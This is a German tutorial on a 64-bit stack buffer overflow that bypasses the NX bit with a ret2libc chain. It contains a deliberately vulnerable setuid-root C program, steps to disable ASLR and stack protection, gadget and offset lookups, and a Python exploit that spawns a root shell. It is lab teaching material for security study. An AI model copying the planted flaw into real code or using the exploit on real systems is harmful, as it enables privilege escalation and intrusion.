Buffer Overflow im 64-Bit Stack - Teil 2

Im zweiten Teil aktivieren wir das NX-Bit, welches uns vor Buffer
Overflows schützen soll. Damit es spaßig bleibt, hebeln wir diesen
Schutz natürlich direkt aus. Dies erreichen wir, indem der auszuführende
Befehl an die
libc-Funktion
system() weitergeleitet wird. Grundlegend basiert dieses Tutorial auf
der Arbeit von superkojiman 1

Einleitung

Weiterführende Infos zum Thema ROP (Return Oriented Programming) und
Grundlagen zum Thema Buffer Overflows gibt es in der Linksammlung am
Ende. 2 3

Theorie

Im Tutorial von superkojiman wird gezeigt, wie die Register Schritt für
Schritt überschrieben werden. Um den Prozess nachzuvollziehen, können
wir die kompilierte
Binary
aus
dem Blog debuggen.

br *vuln+73                             # setze Breakpoint
r < in.txt                              # in.txt wird vom Python Script erzeugt
...                                 # Breakpoint
RDI: 0x7ffff7fa0a30 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')                    # RBP ist überschrieben
RSP: 0x7fffffffddc8 --> 0x4006a3 (<__libc_csu_init+99>: pop    rdi) # RSP mit pop rdi Gadget
RIP: 0x40060f (<vuln+73>:       ret)
gdb-peta$ si
...
RDI: 0x7ffff7fa0a30 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffddd0 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh')   # Pointer nach /bin/sh
RIP: 0x4006a3 (<__libc_csu_init+99>:    pop    rdi)         # pop rdi wurde auf RIP geschrieben
gdb-peta$ si
...
RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh')              # Pointer wurde auf rdi geschrieben
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffddd8 --> 0x400469 (<_init+25>:   ret)            # NOP
RIP: 0x4006a4 (<__libc_csu_init+100>:   ret)
gdb-peta$ si
...
RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7...fdde0 --> 0x7ffff7e17920 (<__libc_system>: test   rdi,rdi)   # system("/bin/sh")
RIP: 0x400469 (<_init+25>:      ret)

Abhängigkeiten

Was wird benötigt?

Zu den Tools aus Teil 1,
benötigen wir noch ropper.

sudo apt install ropper

ASLR deaktivieren

Auch hier muss ASLR wieder deaktiviert werden, um konstante
Speicherbereiche zu erhalten. In Teil 1 ist
beschrieben
,
was hierfür zu tun ist.

C Programm

Quellcode und kompilierte Binaries findet Ihr auch auf meinem github
repository

Das Ursprungs-Tutorial ist schon ein bisschen älter, so dass der
Quellcode nicht 1:1 übernommen werden konnte. Zum einen musste das UID
und EUID zusätzlich gesetzt werden 4, zum anderen funktioniert
/bin/sh nicht mehr in dieser Art und Weise. 5

Da es an einem pop rdi; ret; Gadget fehlte, habe ich mir eine
entsprechende Funktion erstellt.

/* Code https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/ */
/* Changes by https://www.nosociety.de/it-security:blog:buffer_overflow_x64-2 */
/* Compile: gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2      */
/* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space     */
 
#include <stdio.h>
#include <unistd.h>
 
int gadg() {
 asm ("pop %rdi");
 asm ("ret");
 return 0;
}
 
int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    puts("No shell for you :(");
    return 0;
}
 
int main(int argc, char *argv[]) {
    setuid(0);
    seteuid(0);
    printf("Try to exec /bin/zsh --interactive");
    vuln();
    return 0;
}

Kompilieren

Nun kompilieren wir das Programm. Wichtig ist, dass der no-pie
Parameter gesetzt wird. Eine Erklärung liefert der Nutzer
b4551k5 hierzu:

It seems that gcc build PIE (position indep. exec.). You can check
this using “readelf -e <executable>”. If at the top (the header),
Type is “DYN (shared…” then it is PIE and gets loaded at random base
address. You can rebuild the code using “-no-pie” as compile flag to
tell the linker you want to build an executable. This should result in
0x400000 as base address as in the examples above.

gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2   

Exploit

Gadgets

Wir benötigen 2 Gadgets, um das Exploit zu erstellen. Hierzu starten wir
ropper und lassen uns die Gadgets anzeigen

ropper --file bof-part2
...
0x000000000040116a: pop rdi; ret;
...
0x0000000000401016: ret;

Wir brauchen 40116a, um unser Argument von RSP auf RDI zu schieben und
401016 ist eine NOP Funktion, welche RSP um 8 Bytes verschiebt. 6

Offsets herausfinden

Nun benötigen wir noch 2 Offsets, für das Exploit. Also laden wir unsere
Datei in den Debugger und starten:

gdb-peda$ start
...
gdb-peda$ p system
$1 = {int (const char *)} 0x7ffff7e17920 <__libc_system>
 
gdb-peda$ find "/bin/zsh --interactive"
 
Searching for '/bin/zsh --interactive' in: None ranges
Found 2 results, display max 2 items:
bof-part2 : 0x402044 ("/bin/zsh --interactive")
bof-part2 : 0x403044 ("/bin/zsh --interactive")

Das Offset 0x7ffff7e17920 ist die Adresse von system(), unserem libc
Aufruf. 0x402044 ist die Adressse unseres Parameters, den wir an
system() übergeben wollen. Jetzt haben wir alle nötigen Parameter, um
den entprechenden Buffer im Exploit aufzubauen.

buffer.py

#!/usr/bin/env python
 
from struct import *
 
buf = ""
buf += "A"*104                              # junk   
buf += pack("<Q", 0x000000000040116a)       # pop rdi; ret;
buf += pack("<Q", 0x402044)                 # pointer to "/bin/zsh --interactive" gets popped into rdi
buf += pack("<Q", 0x0000000000401016)       # 8 Bytes NOP
buf += pack("<Q", 0x7ffff7e17920)           # address of system()
 
f = open("in.txt", "w")
f.write(buf)

Buffer erzeugen

Nun führen wir unser Python Exploit aus, und erstellen die Datei in.txt.

python2 buffer.py

Berechtigungen setzen

Unsere Datei benötigt noch die entsprechenden root Berechtigungen.

sudo chown root bof-part2
sudo chmod 4755 bof-part2

root Shell

Nun starten wir unser Programm und übergeben unseren Buffer als
Argument.

(cat in.txt | cat) | ./bof-part2

[Upgrade der Shell auf root]

Unsere User Shell wird zur root Shell aufgewertet und wir haben unser
Ziel erreicht.

Repository

Projektdateiennosoc-repo-bof-part2.zip
Größe4,00 KB
Prüfsumme (SHA256)88bda11b4652344bb9113a400b79e78abf028ef5eb89a74538061c96e2d306e5

Footnotes

  1. https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/

  2. https://book.hacktricks.xyz/reversing-and-exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address

  3. https://ir0nstone.gitbook.io/notes/types/stack

  4. http://disq.us/p/1klc7u2

  5. http://disq.us/p/1n4ipc8

  6. http://disq.us/p/247r1cp